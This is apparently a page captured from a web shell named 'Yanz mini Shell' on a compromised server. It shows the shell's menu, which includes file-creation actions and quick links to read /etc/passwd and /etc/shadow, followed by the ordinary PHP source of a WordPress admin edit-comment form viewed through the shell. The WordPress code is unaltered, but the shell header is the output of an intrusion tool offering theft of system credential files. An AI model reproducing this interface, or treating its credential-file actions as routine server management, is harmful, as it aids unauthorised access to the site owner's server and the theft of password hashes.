Yanz mini Shell

Action

[*] New File
[*] New Folder

Sensitive File

[*] /etc/passwd
[*] /etc/shadow
[*] /etc/resolv.conf

<?php
/**
 * Edit comment form for inclusion in another file.
 *
 * @package WordPress
 * @subpackage Administration
 */

// Don't load directly.
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * @global WP_Comment $comment Global comment object.
 */
global $comment;
?>
<form name="post" action="comment.php" method="post" id="post">
<?php wp_nonce_field( 'update-comment_' . $comment->comment_ID ); ?>
<div class="wrap">
<h1><?php _e( 'Edit Comment' ); ?></h1>

<div id="poststuff">
<input type="hidden" name="action" value="editedcomment" />
<input type="hidden" name="comment_ID" value="<?php echo esc_attr( $comment->comment_ID ); ?>" />
<input type="hidden" name="comment_post_ID" value="<?php echo esc_attr( $comment->comment_post_ID ); ?>" />

<div id="post-body" class="metabox-holder columns-2">
<div id="post-body-content" class="edit-form-section edit-comment-section">
<?php
if ( 'approved' === wp_get_comment_status( $comment ) && $comment->comment_post_ID > 0 ) :
	$comment_link = get_comment_link( $comment );
	?>
<div class="inside">
	<div id="comment-link-box">
		<strong><?php _ex( 'Permalink:', 'comment' ); ?></strong>
		<span id="sample-permalink">
			<a href="<?php echo esc_url( $comment_link ); ?>">
				<?php echo esc_html( $comment_link ); ?>
			</a>
		</span>
	</div>
</div>
<?php endif; ?>
<div id="namediv" class="stuffbox">
<div class="inside">
<h2 class="edit-comment-author"><?php _e( 'Author' ); ?></h2>
<fieldset>
<legend class="screen-reader-text">
	<?php
	/* translators: Hidden accessibility text. */
	_e( 'Comment Author' );
	?>
</legend>
<table class="form-table editcomment" role="presentation">
<tbody>
<tr>
	<td class="first"><label for="name"><?php _e( 'Name' ); ?></label></td>
	<td><input type="text" name="newcomment_author" size="30" value="<?php echo esc_attr( $comment->comment_author ); ?>" id="name" /></td>
</tr>
<tr>
	<td class="first"><label for="email"><?php _e( 'Email' ); ?></label></td>
	<td>
		<input type="text" name="newcomment_author_email" size="30" class="code" value="<?php echo esc_attr( $comment->comment_author_email ); ?>" id="email" />
	</td>
</tr>
<tr>
	<td class="first"><label for="newcomment_author_url"><?php _e( 'URL' ); ?></label></td>
	<td>
		<input type="text" id="newcomment_author_url" name="newcomment_author_url" size="30" class="code" value="<?php echo esc_url( $comment->comment_author_url ); ?>" />
	</td>
</tr>
</tbody>
</table>
</fieldset>
</div>
</div>

<div id="postdiv" class="postarea">
<label for="content" class="screen-reader-text">
	<?php
	/* translators: Hidden accessibility text. */
	_e( 'Comment' );
	?>
</label>
<?php
	$quicktags_settings = array( 'buttons' => 'strong,em,link,block,del,ins,img,ul,ol,li,code,close' );
	wp_editor(
		$comment->comment_content,
		'content',
		array(
			'media_buttons' => false,
			'tinymce'       => false,
			'quicktags'     => $quicktags_settings,
		)
	);
	wp_nonce_field( 'closedpostboxes', 'closedpostboxesnonce', false );
	?>
</div>
</div>

<div class="misc-pub-section misc-pub-comment-status" id="comment-status">
<?php _e( 'Status:' ); ?> <span id="comment-status-display">
<?php
switch ( $comment->comment_approved ) {
	case '1':
		_e( 'Approved' );
		break;
	case '0':
		_e( 'Pending' );
		break;
	case 'spam':
		_e( 'Spam' );
		break;
}
?>
</span>

<fieldset id="comment-status-radio">
<legend class="screen-reader-text">
	<?php
	/* translators: Hidden accessibility text. */
	_e( 'Comment status' );
	?>
</legend>
<label><input type="radio"<?php checked( $comment->comment_approved, '1' ); ?> name="comment_status" value="1" /><?php _ex( 'Approved', 'comment status' ); ?></label><br />
<label><input type="radio"<?php checked( $comment->comment_approved, '0' ); ?> name="comment_status" value="0" /><?php _ex( 'Pending', 'comment status' ); ?></label><br />
<label><input type="radio"<?php checked( $comment->comment_approved, 'spam' ); ?> name="comment_status" value="spam" /><?php _ex( 'Spam', 'comment status' ); ?></label>
</fieldset>
</div>

<div class="misc-pub-section curtime misc-pub-curtime">
<?php
$submitted = sprintf(
	/* translators: 1: Comment date, 2: Comment time. */
	__( '%1$s at %2$s' ),
	/* translators: Publish box date format, see https://www.php.net/manual/datetime.format.php */
	date_i18n( _x( 'M j, Y', 'publish box date format' ), strtotime( $comment->comment_date ) ),
	/* translators: Publish box time format, see https://www.php.net/manual/datetime.format.php */
	date_i18n( _x( 'H:i', 'publish box time format' ), strtotime( $comment->comment_date ) )
);
?>
<span id="timestamp">
<?php
/* translators: %s: Comment date. */
printf( __( 'Submitted on: %s' ), '<b>' . $submitted . '</b>' );
?>
</span>
<a href="#edit_timestamp" class="edit-timestamp hide-if-no-js"><span aria-hidden="true"><?php _e( 'Edit' ); ?></span> <span class="screen-reader-text">
	<?php
	/* translators: Hidden accessibility text. */
	_e( 'Edit date and time' );
	?>
</span></a>
<fieldset id='timestampdiv' class='hide-if-js'>
<legend class="screen-reader-text">
	<?php
	/* translators: Hidden accessibility text. */
	_e( 'Date and time' );
	?>
</legend>
<?php
/**
 * @global string $action
 */
global $action;

touch_time( ( 'editcomment' === $action ), 0 );
?>
</fieldset>
</div>

<?php
$post_id = $comment->comment_post_ID;
if ( current_user_can( 'edit_post', $post_id ) ) {
	$post_link  = "<a href='" . esc_url( get_edit_post_link( $post_id ) ) . "'>";
	$post_link .= esc_html( get_the_title( $post_id ) ) . '</a>';
} else {
	$post_link = esc_html( get_the_title( $post_id ) );
}
?>

<?php
$parent_display = __( 'None' );

if ( $comment->comment_parent ) {
	$parent = get_comment( $comment->comment_parent );

if ( $parent ) {
		$parent_display = sprintf(
			'<a href="%s">%s</a>',
			esc_url( get_comment_link( $parent ) ),
			esc_html( get_comment_author( $parent ) )
		);
	}
}

// The parent can only be changed when threaded comments are enabled.
$comment_threading_enabled = get_option( 'thread_comments' );

if ( $comment_threading_enabled ) {
	$max_thread_depth = (int) get_option( 'thread_comments_depth' );

// Pending comments may be nested under pending parents, but approved comments require publicly visible parents.
	$parent_statuses = '1' === $comment->comment_approved ? 'approve' : array( 'approve', 'hold' );

// Limit the number of comments to keep memory usage and the size of the dropdown reasonable on busy posts.
	$post_comments = get_comments(
		array(
			'post_id' => $comment->comment_post_ID,
			'type'    => 'comment',
			'status'  => $parent_statuses,
			'orderby' => 'comment_date_gmt',
			'order'   => 'DESC',
			'number'  => 100,
		)
	);

// Restore chronological order for display.
	$post_comments = array_reverse( $post_comments );

// Index the comments by ID and by parent, to compute depths and find descendants.
	$post_comments_by_id = array();
	$comments_by_parent  = array();

foreach ( $post_comments as $post_comment ) {
		$post_comments_by_id[ (int) $post_comment->comment_ID ]      = $post_comment;
		$comments_by_parent[ (int) $post_comment->comment_parent ][] = (int) $post_comment->comment_ID;
	}

// Walk the descendants level by level, which also gives the height of the subtree that moves with the comment.
	$comment_descendants    = array();
	$comment_subtree_height = 1;
	$comment_level          = array( (int) $comment->comment_ID );

while ( $comment_level ) {
		$next_level = array();

foreach ( $comment_level as $level_comment_id ) {
			if ( isset( $comments_by_parent[ $level_comment_id ] ) ) {
				foreach ( $comments_by_parent[ $level_comment_id ] as $descendant_id ) {
					$comment_descendants[ $descendant_id ] = true;
					$next_level[]                          = $descendant_id;
				}
			}
		}

if ( $next_level ) {
			++$comment_subtree_height;
		}

$comment_level = $next_level;
	}

// Compute each comment's depth, since comments at the maximum threading depth cannot become a parent.
	$comment_depths = array();

foreach ( $post_comments as $post_comment ) {
		$depth       = 1;
		$ancestor_id = (int) $post_comment->comment_parent;

while ( $ancestor_id && isset( $post_comments_by_id[ $ancestor_id ] ) ) {
			++$depth;
			$ancestor_id = (int) $post_comments_by_id[ $ancestor_id ]->comment_parent;
		}

$comment_depths[ (int) $post_comment->comment_ID ] = $depth;
	}
}
?>
<div class="misc-pub-section misc-pub-reply-to">
<span id="comment-parent-display">
<?php
printf(
	/* translators: %s: Parent comment link, or 'None'. */
	__( 'In reply to: %s' ),
	'<b>' . $parent_display . '</b>'
);
?>
</span>
<?php if ( $comment_threading_enabled ) : ?>
<a href="#edit_comment_parent" class="edit-comment-parent hide-if-no-js"><span aria-hidden="true"><?php _e( 'Edit' ); ?></span> <span class="screen-reader-text">
	<?php
	/* translators: Hidden accessibility text. */
	_e( 'Edit parent comment' );
	?>
</span></a>
<fieldset id="comment-parent-div" class="hide-if-js">
<legend class="screen-reader-text">
	<?php
	/* translators: Hidden accessibility text. */
	_e( 'Parent comment' );
	?>
</legend>
<label for="comment_parent"><?php _e( 'Parent comment' ); ?></label>
<select name="comment_parent" id="comment_parent">
	<option value="0"<?php selected( 0, (int) $comment->comment_parent ); ?>>
		<?php
		/* translators: Option in the parent comment dropdown, meaning the comment has no parent. */
		_e( 'None (top-level comment)' );
		?>
	</option>
	<?php
	$current_parent_listed = false;

foreach ( $post_comments as $post_comment ) {
		$post_comment_id = (int) $post_comment->comment_ID;

if ( $post_comment_id === (int) $comment->comment_ID || isset( $comment_descendants[ $post_comment_id ] ) ) {
			continue;
		}

// The comment and the replies that move with it must stay within the maximum threading depth.
		if ( $max_thread_depth && $comment_depths[ $post_comment_id ] + $comment_subtree_height > $max_thread_depth ) {
			continue;
		}

if ( $post_comment_id === (int) $comment->comment_parent ) {
			$current_parent_listed = true;
		}

$option_label = sprintf(
			/* translators: 1: Comment author, 2: Comment excerpt. */
			__( '%1$s: %2$s' ),
			get_comment_author( $post_comment ),
			wp_html_excerpt( get_comment_excerpt( $post_comment ), 50, '…' )
		);

printf(
			"\t<option value='%d' data-author='%s'%s>%s</option>\n",
			$post_comment_id,
			esc_attr( get_comment_author( $post_comment ) ),
			selected( $post_comment_id, (int) $comment->comment_parent, false ),
			esc_html( $option_label )
		);
	}

// The current parent may not be listed, e.g. a pingback or a comment no longer publicly visible.
	if ( $comment->comment_parent && ! $current_parent_listed && isset( $parent ) ) {
		$option_label = sprintf(
			/* translators: 1: Comment author, 2: Comment excerpt. */
			__( '%1$s: %2$s' ),
			get_comment_author( $parent ),
			wp_html_excerpt( get_comment_excerpt( $parent ), 50, '…' )
		);

printf(
			"\t<option value='%d' data-author='%s' selected>%s</option>\n",
			(int) $comment->comment_parent,
			esc_attr( get_comment_author( $parent ) ),
			esc_html( $option_label )
		);
	}
	?>
</select>
<input type="hidden" id="hidden_comment_parent" value="<?php echo esc_attr( $comment->comment_parent ); ?>" />
<p>
<a href="#edit_comment_parent" class="save-comment-parent hide-if-no-js button"><?php _e( 'OK' ); ?></a>
<a href="#edit_comment_parent" class="cancel-comment-parent hide-if-no-js button-cancel"><?php _e( 'Cancel' ); ?></a>
</p>
</fieldset>
<?php endif; ?>
</div>

<?php
	/**
	 * Filters miscellaneous actions for the edit comment form sidebar.
	 *
	 * @since 4.3.0
	 *
	 * @param string     $html    Output HTML to display miscellaneous action.
	 * @param WP_Comment $comment Current comment object.
	 */
	echo apply_filters( 'edit_comment_misc_actions', '', $comment );
?>

</div> 
<div class="clear"></div>
</div>

<div id="major-publishing-actions">
<div id="delete-action">
<?php echo "<a class='submitdelete deletion' href='" . wp_nonce_url( 'comment.php?action=' . ( ! EMPTY_TRASH_DAYS ? 'deletecomment' : 'trashcomment' ) . "&amp;c=$comment->comment_ID&amp;_wp_original_http_referer=" . urlencode( wp_get_referer() ), 'delete-comment_' . $comment->comment_ID ) . "'>" . ( ! EMPTY_TRASH_DAYS ? __( 'Delete Permanently' ) : __( 'Move to Trash' ) ) . "</a>\n"; ?>
</div>
<div id="publishing-action">
<?php submit_button( __( 'Update' ), 'primary large', 'save', false ); ?>
</div>
<div class="clear"></div>
</div>
</div>
</div>
</div>
</div>

<div id="postbox-container-2" class="postbox-container">
<?php
/** This action is documented in wp-admin/includes/meta-boxes.php */
do_action( 'add_meta_boxes', 'comment', $comment );

/**
 * Fires when comment-specific meta boxes are added.
 *
 * @since 3.0.0
 *
 * @param WP_Comment $comment Comment object.
 */
do_action( 'add_meta_boxes_comment', $comment );

do_meta_boxes( null, 'normal', $comment );

$referer = wp_get_referer();
?>
</div>

<input type="hidden" name="c" value="<?php echo esc_attr( $comment->comment_ID ); ?>" />
<input type="hidden" name="p" value="<?php echo esc_attr( $comment->comment_post_ID ); ?>" />
<input name="referredby" type="hidden" id="referredby" value="<?php echo $referer ? esc_url( $referer ) : ''; ?>" />
<?php wp_original_referer_field( true, 'previous' ); ?>
<input type="hidden" name="noredir" value="1" />

</div>
</div>
</div>
</form>

<?php if ( ! wp_is_mobile() ) : ?>
<script>
try{document.post.name.focus();}catch(e){}
</script>
	<?php
endif;